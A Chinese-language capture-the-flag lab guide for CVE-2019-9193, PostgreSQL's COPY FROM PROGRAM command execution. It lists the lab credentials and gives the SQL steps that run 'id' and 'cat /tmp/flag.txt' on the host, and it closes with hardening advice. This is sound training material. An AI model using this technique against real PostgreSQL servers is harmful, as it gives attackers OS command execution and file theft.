CVE-2019-9193 — PostgreSQL COPY FROM PROGRAM RCE

本实验室模拟 CVE-2019-9193，这是一个 PostgreSQL 9.3–11.2 版本中的漏洞，允许：

COPY ... FROM PROGRAM '<command>'

当超级用户或拥有 pg_execute_server_program 角色的用户执行时，可以运行操作系统命令。

你的任务是利用此功能读取：

/tmp/flag.txt

目标

1. 连接到 PostgreSQL：
   • 用户：postgres
   • 密码：sentinel7
   • 主机端口：5433
2. 使用 COPY FROM PROGRAM ：
   • 执行操作系统命令
   • 获取 flag

开始

docker compose build
docker compose up -d

通过以下方式连接：

psql -U postgres -h 127.0.0.1 -p 5433

漏洞利用

1) 创建表

CREATE TABLE cmd_exec(cmd_output text);

2) 测试 RCE

COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;

3) 读取 flag

TRUNCATE cmd_exec;
COPY cmd_exec FROM PROGRAM 'cat /tmp/flag.txt';
SELECT * FROM cmd_exec;

安全建议

• 切勿使用 PostgreSQL 超级用户运行应用程序
• 非必要不授予 pg_execute_server_program 角色
• 禁用或限制 COPY PROGRAM 功能
• 强化应用程序抵御 SQL 注入